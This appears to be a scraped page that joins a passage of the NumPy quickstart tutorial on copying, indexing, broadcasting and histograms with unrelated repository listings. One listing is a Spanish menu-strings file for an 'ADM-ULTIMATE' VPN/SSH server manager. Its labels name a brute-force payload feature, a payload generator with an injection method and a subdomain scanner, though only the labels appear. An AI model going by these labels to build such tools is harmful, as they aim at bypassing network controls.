8, 10, 10, 11]]) Deep Copy The copy method makes a complete copy of the array and its data. >>> >>> d = a.copy() # a new array object with new data is created >>> d is a False >>> d.base is a # d doesn't share anything with a False >>> d[0,0] = 9999 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Sometimes copy should be called after slicing if the original array is not required anymore. For example, suppose a is a huge intermediate result and the final result b only contains a small fraction of a, a deep copy should be made when constructing b with slicing: >>> >>> a = np.arange(int(1e8)) >>> b = a[:100].copy() >>> del a # the memory of ``a`` can be released. If b = a[:100] is used instead, a is referenced by b and will persist in memory even if del a is executed. Functions and Methods Overview Here is a list of some useful NumPy functions and methods names ordered in categories. See Routines for the full list. Array Creation arange, array, copy, empty, empty_like, eye, fromfile, fromfunction, identity, linspace, logspace, mgrid, ogrid, ones, ones_like, r_, zeros, zeros_like Conversions ndarray.astype, atleast_1d, atleast_2d, atleast_3d, mat Manipulations array_split, column_stack, concatenate, diagonal, dsplit, dstack, hsplit, hstack, ndarray.item, newaxis, ravel, repeat, reshape, resize, squeeze, swapaxes, take, transpose, vsplit, vstack Questions all, any, nonzero, where Ordering argmax, argmin, argsort, max, min, ptp, searchsorted, sort Operations choose, compress, cumprod, cumsum, inner, ndarray.fill, imag, prod, put, putmask, real, sum Basic Statistics cov, mean, std, var Basic Linear Algebra cross, dot, outer, linalg.svd, vdot Less Basic Broadcasting rules Broadcasting allows universal functions to deal in a meaningful way with inputs that do not have exactly the same shape. The first rule of broadcasting is that if all input arrays do not have the same number of dimensions, a “1” will be repeatedly prepended to the shapes of the smaller arrays until all the arrays have the same number of dimensions. The second rule of broadcasting ensures that arrays with a size of 1 along a particular dimension act as if they had the size of the array with the largest shape along that dimension. The value of the array element is assumed to be the same along that dimension for the “broadcast” array. After application of the broadcasting rules, the sizes of all arrays must match. More details can be found in Broadcasting. Advanced indexing and index tricks NumPy offers more indexing facilities than regular Python sequences. In addition to indexing by integers and slices, as we saw before, arrays can be indexed by arrays of integers and arrays of booleans. Indexing with Arrays of Indices >>> >>> a = np.arange(12)**2 # the first 12 square numbers >>> i = np.array([1, 1, 3, 8, 5]) # an array of indices >>> a[i] # the elements of a at the positions i array([ 1, 1, 9, 64, 25]) >>> >>> j = np.array([[3, 4], [9, 7]]) # a bidimensional array of indices >>> a[j] # the same shape as j array([[ 9, 16], [81, 49]]) When the indexed array a is multidimensional, a single array of indices refers to the first dimension of a. The following example shows this behavior by converting an image of labels into a color image using a palette. >>> >>> palette = np.array([[0, 0, 0], # black ... [255, 0, 0], # red ... [0, 255, 0], # green ... [0, 0, 255], # blue ... [255, 255, 255]]) # white >>> image = np.array([[0, 1, 2, 0], # each value corresponds to a color in the palette ... [0, 3, 4, 0]]) >>> palette[image] # the (2, 4, 3) color image array([[[ 0, 0, 0], [255, 0, 0], [ 0, 255, 0], [ 0, 0, 0]], [[ 0, 0, 0], [ 0, 0, 255], [255, 255, 255], [ 0, 0, 0]]]) We can also give indexes for more than one dimension. The arrays of indices for each dimension must have the same shape. >>> >>> a = np.arange(12).reshape(3,4) >>> a array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> i = np.array([[0, 1], # indices for the first dim of a ... [1, 2]]) >>> j = np.array([[2, 1], # indices for the second dim ... [3, 3]]) >>> >>> a[i, j] # i and j must have equal shape array([[ 2, 5], [ 7, 11]]) >>> >>> a[i, 2] array([[ 2, 6], [ 6, 10]]) >>> >>> a[:, j] # i.e., a[ : , j] array([[[ 2, 1], [ 3, 3]], [[ 6, 5], [ 7, 7]], [[10, 9], [11, 11]]]) In Python, arr[i, j] is exactly the same as arr[(i, j)]—so we can put i and j in a tuple and then do the indexing with that. >>> >>> l = (i, j) # equivalent to a[i, j] >>> a[l] array([[ 2, 5], [ 7, 11]]) However, we can not do this by putting i and j into an array, because this array will be interpreted as indexing the first dimension of a. >>> >>> s = np.array([i, j]) # not what we want >>> a[s] Traceback (most recent call last): File "<stdin>", line 1, in <module> IndexError: index 3 is out of bounds for axis 0 with size 3 # same as a[i, j] >>> a[tuple(s)] array([[ 2, 5], [ 7, 11]]) Another common use of indexing with arrays is the search of the maximum value of time-dependent series: >>> >>> time = np.linspace(20, 145, 5) # time scale >>> data = np.sin(np.arange(20)).reshape(5,4) # 4 time-dependent series >>> time array([ 20. , 51.25, 82.5 , 113.75, 145. ]) >>> data array([[ 0. , 0.84147098, 0.90929743, 0.14112001], [-0.7568025 , -0.95892427, -0.2794155 , 0.6569866 ], [ 0.98935825, 0.41211849, -0.54402111, -0.99999021], [-0.53657292, 0.42016704, 0.99060736, 0.65028784], [-0.28790332, -0.96139749, -0.75098725, 0.14987721]]) # index of the maxima for each series >>> ind = data.argmax(axis=0) >>> ind array([2, 0, 3, 1]) # times corresponding to the maxima >>> time_max = time[ind] >>> >>> data_max = data[ind, range(data.shape[1])] # => data[ind[0],0], data[ind[1],1]... >>> time_max array([ 82.5 , 20. , 113.75, 51.25]) >>> data_max array([0.98935825, 0.84147098, 0.99060736, 0.6569866 ]) >>> np.all(data_max == data.max(axis=0)) True You can also use indexing with arrays as a target to assign to: >>> >>> a = np.arange(5) >>> a array([0, 1, 2, 3, 4]) >>> a[[1,3,4]] = 0 >>> a array([0, 0, 2, 0, 0]) However, when the list of indices contains repetitions, the assignment is done several times, leaving behind the last value: >>> >>> a = np.arange(5) >>> a[[0,0,2]]=[1,2,3] >>> a array([2, 1, 3, 3, 4]) This is reasonable enough, but watch out if you want to use Python’s += construct, as it may not do what you expect: >>> >>> a = np.arange(5) >>> a[[0,0,2]]+=1 >>> a array([1, 1, 3, 3, 4]) Even though 0 occurs twice in the list of indices, the 0th element is only incremented once. This is because Python requires “a+=1” to be equivalent to “a = a + 1”. Indexing with Boolean Arrays When we index arrays with arrays of (integer) indices we are providing the list of indices to pick. With boolean indices the approach is different; we explicitly choose which items in the array we want and which ones we don’t. The most natural way one can think of for boolean indexing is to use boolean arrays that have the same shape as the original array: >>> >>> a = np.arange(12).reshape(3,4) >>> b = a > 4 >>> b # b is a boolean with a's shape array([[False, False, False, False], [False, True, True, True], [ True, True, True, True]]) >>> a[b] # 1d array with the selected elements array([ 5, 6, 7, 8, 9, 10, 11]) This property can be very useful in assignments: >>> >>> a[b] = 0 # All elements of 'a' higher than 4 become 0 >>> a array([[0, 1, 2, 3], [4, 0, 0, 0], [0, 0, 0, 0]]) You can look at the following example to see how to use boolean indexing to generate an image of the Mandelbrot set: >>> import numpy as np import matplotlib.pyplot as plt def mandelbrot( h,w, maxit=20 ): """Returns an image of the Mandelbrot fractal of size (h,w).""" y,x = np.ogrid[ -1.4:1.4:h*1j, -2:0.8:w*1j ] c = x+y*1j z = c divtime = maxit + np.zeros(z.shape, dtype=int) for i in range(maxit): z = z**2 + c diverge = z*np.conj(z) > 2**2 # who is diverging div_now = diverge & (divtime==maxit) # who is diverging now divtime[div_now] = i # note when z[diverge] = 2 # avoid diverging too much return divtime plt.imshow(mandelbrot(400,400)) ../_images/quickstart-1.png The second way of indexing with booleans is more similar to integer indexing; for each dimension of the array we give a 1D boolean array selecting the slices we want: >>> >>> a = np.arange(12).reshape(3,4) >>> b1 = np.array([False,True,True]) # first dim selection >>> b2 = np.array([True,False,True,False]) # second dim selection >>> >>> a[b1,:] # selecting rows array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[b1] # same thing array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[:,b2] # selecting columns array([[ 0, 2], [ 4, 6], [ 8, 10]]) >>> >>> a[b1,b2] # a weird thing to do array([ 4, 10]) Note that the length of the 1D boolean array must coincide with the length of the dimension (or axis) you want to slice. In the previous example, b1 has length 3 (the number of rows in a), and b2 (of length 4) is suitable to index the 2nd axis (columns) of a. The ix_() function The ix_ function can be used to combine different vectors so as to obtain the result for each n-uplet. For example, if you want to compute all the a+b*c for all the triplets taken from each of the vectors a, b and c: >>> >>> a = np.array([2,3,4,5]) >>> b = np.array([8,5,4]) >>> c = np.array([5,4,6,8,3]) >>> ax,bx,cx = np.ix_(a,b,c) >>> ax array([[[2]], [[3]], [[4]], [[5]]]) >>> bx array([[[8], [5], [4]]]) >>> cx array([[[5, 4, 6, 8, 3]]]) >>> ax.shape, bx.shape, cx.shape ((4, 1, 1), (1, 3, 1), (1, 1, 5)) >>> result = ax+bx*cx >>> result array([[[42, 34, 50, 66, 26], [27, 22, 32, 42, 17], [22, 18, 26, 34, 14]], [[43, 35, 51, 67, 27], [28, 23, 33, 43, 18], [23, 19, 27, 35, 15]], [[44, 36, 52, 68, 28], [29, 24, 34, 44, 19], [24, 20, 28, 36, 16]], [[45, 37, 53, 69, 29], [30, 25, 35, 45, 20], [25, 21, 29, 37, 17]]]) >>> result[3,2,4] 17 >>> a[3]+b[2]*c[4] 17 You could also implement the reduce as follows: >>> >>> def ufunc_reduce(ufct, *vectors): ... vs = np.ix_(*vectors) ... r = ufct.identity ... for v in vs: ... r = ufct(r,v) ... return r and then use it as: >>> >>> ufunc_reduce(np.add,a,b,c) array([[[15, 14, 16, 18, 13], [12, 11, 13, 15, 10], [11, 10, 12, 14, 9]], [[16, 15, 17, 19, 14], [13, 12, 14, 16, 11], [12, 11, 13, 15, 10]], [[17, 16, 18, 20, 15], [14, 13, 15, 17, 12], [13, 12, 14, 16, 11]], [[18, 17, 19, 21, 16], [15, 14, 16, 18, 13], [14, 13, 15, 17, 12]]]) The advantage of this version of reduce compared to the normal ufunc.reduce is that it makes use of the Broadcasting Rules in order to avoid creating an argument array the size of the output times the number of vectors. Indexing with strings See Structured arrays. Linear Algebra Work in progress. Basic linear algebra to be included here. Simple Array Operations See linalg.py in numpy folder for more. >>> >>> import numpy as np >>> a = np.array([[1.0, 2.0], [3.0, 4.0]]) >>> print(a) [[1. 2.] [3. 4.]] >>> a.transpose() array([[1., 3.], [2., 4.]]) >>> np.linalg.inv(a) array([[-2. , 1. ], [ 1.5, -0.5]]) >>> u = np.eye(2) # unit 2x2 matrix; "eye" represents "I" >>> u array([[1., 0.], [0., 1.]]) >>> j = np.array([[0.0, -1.0], [1.0, 0.0]]) >>> j @ j # matrix product array([[-1., 0.], [ 0., -1.]]) >>> np.trace(u) # trace 2.0 >>> y = np.array([[5.], [7.]]) >>> np.linalg.solve(a, y) array([[-3.], [ 4.]]) >>> np.linalg.eig(j) (array([0.+1.j, 0.-1.j]), array([[0.70710678+0.j , 0.70710678-0.j ], [0. -0.70710678j, 0. +0.70710678j]])) Parameters: square matrix Returns The eigenvalues, each repeated according to its multiplicity. The normalized (unit "length") eigenvectors, such that the column ``v[:,i]`` is the eigenvector corresponding to the eigenvalue ``w[i]`` . Tricks and Tips Here we give a list of short and useful tips. “Automatic” Reshaping To change the dimensions of an array, you can omit one of the sizes which will then be deduced automatically: >>> >>> a = np.arange(30) >>> b = a.reshape((2, -1, 3)) # -1 means "whatever is needed" >>> b.shape (2, 5, 3) >>> b array([[[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]], [[15, 16, 17], [18, 19, 20], [21, 22, 23], [24, 25, 26], [27, 28, 29]]]) Vector Stacking How do we construct a 2D array from a list of equally-sized row vectors? In MATLAB this is quite easy: if x and y are two vectors of the same length you only need do m=[x;y]. In NumPy this works via the functions column_stack, dstack, hstack and vstack, depending on the dimension in which the stacking is to be done. For example: >>> >>> x = np.arange(0,10,2) >>> y = np.arange(5) >>> m = np.vstack([x,y]) >>> m array([[0, 2, 4, 6, 8], [0, 1, 2, 3, 4]]) >>> xy = np.hstack([x,y]) >>> xy array([0, 2, 4, 6, 8, 0, 1, 2, 3, 4]) The logic behind those functions in more than two dimensions can be strange. See also NumPy for Matlab users Histograms The NumPy histogram function applied to an array returns a pair of vectors: the histogram of the array and a vector of the bin edges. Beware: matplotlib also has a function to build histograms (called hist, as in Matlab) that differs from the one in NumPy. The main difference is that pylab.hist plots the histogram automatically, while numpy.histogram only generates the data. >>> import numpy as np rg = np.random.default_rng(1) import matplotlib.pyplot as plt # Build a vector of 10000 normal deviates with variance 0.5^2 and mean 2 mu, sigma = 2, 0.5 v = rg.normal(mu,sigma,10000) # Plot a normalized histogram with 50 bins plt.hist(v, bins=50, density=1) # matplotlib version (plot) # Compute the histogram with numpy and then plot it (n, bins) = np.histogram(v, bins=50, density=True) # NumPy version (no plot) plt.plot(.5*(bins[1:]+bins[:-1]), n) ../_images/quickstart-2.png Further reading The Python tutorial NumPy Reference SciPy Tutorial SciPy Lecture Notes A matlab, R, IDL, NumPy/SciPy dictionary © Copyright 2008-2020, The SciPy community. Last updated on Jun 29, 2020. Created using Sphinx 2.4.4.
nshkrdotcom / SnakepitHigh-performance, generalized process pooler and session manager for external language integrations. Orchestrates and supervises languages like Python and Javascript from Elixir.
JosephAk7 / ADM ULTIMATE Master Modulo Idioma Geral#!/bin/bash if [[ -e $_dr ]]; then n=0 while read line; do txt[$n]="$line" n=$(($n+1)) done < $_dr unset n [[ ${txt[0]} = "" ]] && rm $_dr && exit 1 else txt[0]="ADM-MANAGER-ULTIMATE BY Joseph Acasiete" txt[1]="EN LÍNEA:" txt[2]="EXPIRADOS:" txt[3]="SU SISTEMA:" txt[4]="¡BIENVENIDO AL MENÚ!" txt[5]="GESTIONAR USUARIOS" txt[6]="HERRAMIENTAS" txt[7]="ACTUALIZAR" txt[8]="REMOVER ADM-ULTIMATE" txt[9]="OPCIÓN:" txt[10]="[ACTIVADO]" txt[11]="[DESACTIVADO]" txt[12]="CAMBIAR COLORES DEL SCRIPT" txt[13]="[VOLVER / SALIR]" txt[14]="MENÚ USUARIOS" txt[15]="CREAR USUARIOS" txt[16]="REMOVER USUARIOS" txt[17]="MODIFICAR USUARIOS" txt[18]="DETALLES DE LOS USUARIOS" txt[19]="VERIFICAR USUARIOS ONLINE" txt[20]="CONTROL DE USUARIOS" txt[21]="SUS COLORES USADOS ACTUALMENTE" txt[22]="Elija en orden, 1 2 3 4 5 6" txt[23]="¿Cuál es la secuencia de colores ?:" txt[24]="No se han seleccionado seis colores!" txt[25]="¡Aplicando el color seleccionado! ..." txt[26]="CAMBIAR IDIOMA DEL SCRIPT" txt[27]="CREADOR DE USUARIOS ADM-ULTIMATE" txt[28]="Nombre del nuevo usuario:" txt[29]="Nombre nulo" txt[30]="Usuario ya existente!" txt[31]="Contraseña para el usuario" txt[32]="Duración para el Usuario" txt[33]="Límite de conexión para el usuario" txt[34]="Usuario:" txt[35]="Contraseña:" txt[36]="Límite:" txt[37]="Validez:" txt[38]="LISTA DE USUARIOS REGISTRADOS" txt[39]="REMOVER USUARIOS" txt[40]="Eliminar 1 Usuario" txt[41]="Eliminar todos los usuarios" txt[42]="Seleccione el usuario o escriba el nombre" txt[43]="Ningún usuario ha sido seleccionado" txt[44]="Usuario no existente!" txt[45]="eliminado" txt[46]="eliminar" txt[47]="¡Enter, para volver!" txt[48]="EDITOR DE USUARIOS" txt[49]="Ningún usuario ha seleccionado" txt[50]="Que opción va a editar de:" txt[51]="Numero de logins de:" txt[52]="Fecha de expiración de:" txt[53]="Cambiar contraseña de:" txt[54]="¿Cuál es el nuevo límite de inicio de sesión:" txt[55]="¡Límite no cambiado!" txt[56]="Límite cambiado" txt[57]="¿Cuántos días debe durar?" txt[58]="Fecha no modificada" txt[59]="Cambiado!" txt[60]="¿Cuál es la nueva contraseña para:" txt[61]="Contraseña no cambiada!" txt[62]="Nueva contraseña aplicada" txt[63]="No se ha seleccionado Ninguna opción!" txt[64]="Usuario" txt[65]="Contraseña" txt[66]="Límite" txt[67]="Tiempo" txt[68]="??" txt[69]="Ilimitado" txt[70]="Caducado" txt[71]="Tú tienes:" txt[72]="Usuarios en su servidor" txt[73]="días" txt[74]="USUARIOS" txt[75]="CONEXIÓN" txt[76]="TIEMPO" txt[77]="Ese Herramienta va a Traducir" txt[78]="Todo el contenido de ADM-ULTIMATE" txt[79]="Seleccione el número de idioma, o utilice las iniciales del idioma." txt[80]="" txt[81]="Traduciendo el sistema..." txt[82]="Introduzca un idioma:" txt[83]="horas" txt[84]="acta" txt[85]="uso" txt[86]="No hay ningún usuario en línea" txt[87]="ELIMINAR USUARIOS VENCIDOS" txt[88]="No hay Usuarios Vencidos!" txt[89]="MENÚ HERRAMIENTAS" txt[90]="CREAR BACKUP" txt[91]="RESTAURAR BACKUP" txt[92]="LIMPIAR CACHE" txt[93]="BAD UDP" txt[94]="TCP SPEED" txt[95]="FAILBAN" txt[96]="SQUID CACHE" txt[97]="COMPARTIR ARCHIVO ONLINE" txt[98]="Escriba sólo valores numérico" txt[99]="INICIANDO BACKUP" txt[100]="Copia de seguridad de usuarios" txt[101]="Usuario no registrado en ADM-ULTIMATE" txt[102]="Introduzca la información del usuario." txt[103]="Contraseña actual:" txt[104]="Días De Duración:" txt[105]="Límite de conexión:" txt[106]="Copia de seguridad completa" txt[107]="Back UDP disponible en la carpeta" txt[108]="Ingresar el directorio de la copia de seguridad" txt[109]="o bien, Introduzca un vínculo de una copia de seguridad" txt[110]="Archivo o enlace" txt[111]="¡Archivo o enlace no válido!" txt[112]="Copia de seguridad incompatible con ADM" txt[113]="Restauración ..." txt[114]="Usuario no restaurado" txt[115]="Esta Herramienta va a Limpiar Caches" txt[116]="y eliminar los archivos temporales" txt[117]="Procedimiento completado" txt[118]="BADVPN se instalará" txt[119]="que no es más que un programa" txt[120]="que libera puertos UDP en el servidor" txt[121]="y así permitir el servicio VOIP!" txt[122]="Inicio" txt[123]="BADVPN iniciado con éxito" txt[124]="Deteniendo servicio BADVPN ..." txt[125]="BADVPN detenido con éxito" txt[126]="Este Script fue proyectado" txt[127]="Para Mejorar La Latencia" txt[128]="y velocidad del servidor!" txt[129]="analizar" txt[130]="Este es un script experimental" txt[131]="¡Utilice por su propia cuenta y riesgo!" txt[132]="Este script cambiará algunas" txt[133]="configuraciones de red" txt[134]="del sistema para reducir" txt[135]="la latencia y mejorar la velocidad" txt[136]="Continuar con la instalación?" txt[137]="Configuración de red" txt[138]="se han agregado con éxito" txt[139]="ya se han agregado en el sistema!" txt[140]="Desea quitar la configuración" txt[141]="Configuración de red" txt[142]="se han eliminado con éxito" txt[143]="¿Por qué no?" txt[144]="desinstalación" txt[145]="Ver registro" txt[146]="Este es el FAILBAN PROTECTION" txt[147]="Hecho únicamente para proteger la seguridad del" txt[148]="Sistema, su objetivo es analizar" txt[149]="LOGS DE ACCESO y bloquear toda" txt[150]="acción sospechosa" txt[151]="aumentando en un 70% de su seguridad." txt[152]="¿Desea instalar Fail2Ban?" txt[153]="Fail2ban Sera Instalado" txt[154]="Siguientes Servicios" txt[155]="¿Confirma la elección?" txt[156]="Instalación finalizada" txt[157]="Caché de Squid no es más Que" txt[158]="Un historial de navegación en Squid" txt[159]="Que ahorrará datos al abrir sitios" txt[160]="Alojados en su caché" txt[161]="¡El script hará una breve comprobación!" txt[162]="No se ha identificado Squid!" txt[163]="¡Squid esta Activo en tu sistema!" txt[164]="No hay servicio de caché en el Squid!" txt[165]="Reiniciando Servicios Espera!" txt[166]="Activando el servicio SquidCache!" txt[167]="Desactivando SquidCache !!" txt[168]="esperar!" txt[169]="COLOCAR ARCHIVO ONLINE" txt[170]="OPCION PARA COLOCAR" txt[171]="CUALQUIER ARCHIVO ONLINE" txt[172]="QUE ESTE ARCHIVO" txt[173]="EN EL DIRECTORIO" txt[174]="REMOVER ARCHIVO ONLINE" txt[175]="VER MIS ARCHIVOS ONLINE" txt[176]="Opción invalida" txt[177]="Seleccione un archivo" txt[178]="Ningún archivo ha sido seleccionado" txt[179]="Procedimiento Hecho Con Éxito" txt[180]="ACCESO AL ARCHIVO ATRAVES DEL ENLACE" txt[181]="Sus archivos en la carpeta" txt[182]="TESTEAR SU VELOCIDAD" txt[183]="INFORMACIÓN VPS" txt[184]="Inicio de pruebas, espere ..." txt[185]="Tiempo de respuesta Ping" txt[186]="Velocidad de carga" txt[187]="Velocidad de descarga" txt[188]="Error al procesar información" txt[189]="Su Sistema" txt[190]="basado" txt[191]="Procesador Físico" txt[192]="Frecuencia de funcionamiento" txt[193]="Uso del procesador" txt[194]="Memoria Virtual Total" txt[195]="Memoria Virtual En uso" txt[196]="Memoria Virtual Libre" txt[197]="Memoria Virtual Swap" txt[198]="Tiempo en línea" txt[199]="Nombre de la máquina" txt[200]="Dirección De la Maquina" txt[201]="Versiones del kernel" txt[202]="Arquitectura" txt[203]="analizar" txt[204]="expediente" txt[205]="actualizado" txt[206]="Archivos actualizados" txt[207]="Valida! Actualizando ..." txt[208]="¡Expirada o invalida Saliendo!" txt[209]="¿Esta seguro de esto?" txt[210]="Desinstalación cancelada por el usuario" txt[211]="Creado por @Teamadmmanager" txt[212]="AGREGAR / REMOVER HOST-SQUID" txt[213]="no encontrado" txt[214]="O Squid no instalado" txt[215]="Añadir Host a Squid" txt[216]="Quitar el host de Squid" txt[217]="Opción Invalida" txt[218]="Dominios actuales en el archivo" txt[219]="Escriba el dominio que desea agregar" txt[220]="Iniciando con un "."" txt[221]="¡Esta vacío, no ha escrito nada!" txt[222]="El dominio ya existe en el archivo" txt[223]="¡Éxito, Archivo Actualizado!" txt[224]="Escriba el dominio que desea quitar" txt[225]="dominio no encontrado" txt[226]="Introduzca el texto para el BANNER" txt[227]="verde" txt[228]="rojo" txt[229]="azul" txt[230]="amarillo" txt[231]="púrpura" txt[232]="Introduzca el mensaje principal" txt[233]="Quiere Añadir Más Textos" txt[234]="BANNER COLORIDO" txt[235]="Dependencias No instaladas, ¿Desea instalar?" txt[236]="Instalando dependencias para proxy-socks ..." txt[237]="Deteniendo proxy-sock ..." txt[238]="Proxy-sock detenido!" txt[239]="Seleccione la puerto que va a girar" txt[240]="Su Proxy Sockets:" txt[241]="Opa, Esta siendo Usada por:" txt[242]="Desactive este servicio para usar" txt[243]="El puerto:" txt[244]="Para el SOCKS" txt[245]="Enter, para seleccionar otro puerto!" txt[246]="Escriba un texto, para el estado 200OK" txt[247]="Escoja el tipo de sock a utilizar" txt[248]="PROXY SOCKET EN PYTHON" txt[249]="PROXY SOCKET EN PYTHON3" txt[250]="Algo salió mal, Socks No Iniciado!" txt[251]="perfecto" txt[252]="BRUTE FORCE PAYLOAD" txt[253]="ACTIVAR PROXY SOCKET" txt[254]="LIMITADOR DE CONEXIÓN SIMULTÁNEA" txt[255]="VER PROXY PYTHON" txt[256]="MENÚ DE INSTALACIÓN" txt[257]="NINGUNO PROXY SOCKS ESTA ACTIVO" txt[258]="DIGITE UN HOST PARA CREAR" txt[259]="¡PAYLOADS GENERICAS!" txt[260]="CREADOR DE PAYLOADS" txt[261]="DIGITE EL HOST" txt[262]="No anadir nada." txt[263]="GENERADOR DE PAYLOAD" txt[264]="ELEGIR EL METODO DE REQUISITOS" txt[265]="Y POR ULTIMO" txt[266]="¡METODO DE INYECCIÓN!" txt[267]="ALGO ESTA" txt[268]="MAL!" txt[269]="EXITO!, PAYLOADS GENERADAS" txt[270]="DIRECTORIO:" txt[271]="ACTIVAR PROXY GETTUNEL" txt[272]="¿Cuál es el puerto que desea para el GetTUNNEL" txt[273]="Puerto Usada Por:" txt[274]="CLAVE DEL GETTUNEL:" txt[275]="¡GETTUNEL INICIADO CON ÉXITO!" txt[276]="¡GETTUNEL NO INICIO!" txt[277]="Seleccione el servicio para gestionar puertos" txt[278]="Ningún Servicio Elegido, O El Servicio Elegido No es Soportado" txt[279]="¿Desea cerrar el puerto actual?" txt[280]="O Abrir un nuevo puerto en el servicio?" txt[281]="Procedimiento, Terminado!" txt[282]="GESTION DE PUERTAS" txt[283]="Servicio y puerto elegidos:" txt[284]="Arquitectura no soportada!" txt[285]="USO APROXIMADO" txt[286]="CONSUMO TOTAL" txt[287]="USUARIOS" txt[288]="MONITOR DE CONSUMO" txt[289]="Verificación no está activada, o no existe información" txt[290]="BOT TELEGRAM" txt[291]="SHADOWSOCKS / SSL stunnel" txt[292]="SHADOWSOCKS Y SSL" txt[293]="seleccione un puerto de redirección" txt[294]="seleccione un puerto" txt[295]="¡Puerto Invalida!" txt[296]="No hay Puertos Internos Abiertos!" txt[297]="Puerto De Su SSL Externa! Ingresar puerto en la aplicación inyector" txt[298]="Puerto en uso!" txt[299]="¡Responda las Preguntas Correctamente!" txt[300]="Medios de Encriptación" txt[301]="Seleccione la encriptación" txt[302]="¡Encriptación no seleccionada!" txt[303]="Contraseña:" txt[304]="TCP OVER" txt[305]="ULTRA HOST (SCANNER DE SUBDOMINIOS)" txt[306]="HOST" txt[307]="LÍMITE DE CAPTURA" txt[308]="INGRESAR UNA CONTRASEÑA y DESPUÉS CONFIRMARLA" txt[309]="VNC se conecta usando el ip de la vps en el puerto" txt[310]="Para acceder a la interfaz gráfica" txt[311]="Descargar de la PlayStore:" txt[312]="VNC no Esta activo ¿Desea activar?" txt[313]="VNC esta activo ¿Desea deshabilitar?" txt[314]="VNC SERVER" txt[315]="¡SU VERSIÓN ESTA ACTUALIZADA!" txt[316]="¡ADM-ULTIMATE NECESITA ACTUALIZARSE!" txt[317]="APLICAR BLOQUEO TORRENT" txt[318]="Crear un nuevo archivo OpenVPN?" txt[319]="Crear archivo con autenticación (usuario y contraseña)?" txt[320]="Archivo generado en:" txt[321]="Para dejarlo en línea:" txt[322]="Ejecución Automática" txt[323]="AUTENTICACIÓN DE PROXY SQUID" txt[324]="Error al generar contraseña, la autenticación de squid no se inició!" txt[325]="AUTENTICACIÓN DEL PROXY SQUID INICIADO." txt[326]="Proxy squid no instalado, no puede continuar." txt[327]="AUTENTICACIÓN DEL PROXY SQUID DESACTIVADO." txt[328]="El usuario no puede ser nulo." txt[329]="¿Desea habilitar la autenticación de proxy squid?" txt[330]="¿Desea desactivar la autenticación de proxy squid?" txt[331]="SU IP:" txt[332]="REINICIAR VPS (REBOOT)" txt[333]="¿Realmente desea Reiniciar la VPS?" txt[334]="Preparando para reiniciando VPS." txt[335]="MENÚ INSTALACIÓN" echo "${txt[0]}" > $_dr for((_cont=1; _cont<${#txt[@]}; _cont++)); do echo "${txt[$_cont]}" >> $_dr done fi
Nekmo / Python313 PresentacionPresentación "¿Qué hay de nuevo en Python 3.13?"
chivitiH / Tensorflow Blackwell Python313TensorFlow 2.22 native sm_120 Blackwell build for Python 3.13 — WSL2